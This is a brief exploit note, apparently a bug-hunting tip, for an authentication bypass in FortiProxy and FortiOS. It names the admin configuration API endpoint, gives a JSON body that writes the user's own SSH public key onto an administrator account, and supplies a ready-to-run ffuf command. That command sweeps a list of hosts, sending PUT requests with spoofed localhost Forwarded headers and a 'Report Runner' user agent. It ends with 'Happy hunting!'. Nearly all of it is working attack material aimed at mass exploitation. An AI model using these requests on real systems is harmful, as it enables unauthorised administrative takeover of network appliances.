FortiProxy / FortiOS Authentication bypass
/api/v2/cmdb/system/admin/<username>
{"ssh-public-key1": "<your-id_rsa.pub>"}
ffuf -c -w hosts.txt -u FUZZ/api/v2/cmdb/system/admin/admin -X PUT -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H 'Forwarded: for="[127.0.0.1
]:8000";by=”[127.0.0.1]:9000";' -d '{"ssh-public-key1": "kljunowsky"}' -mr "SSH" -r
Happy hunting!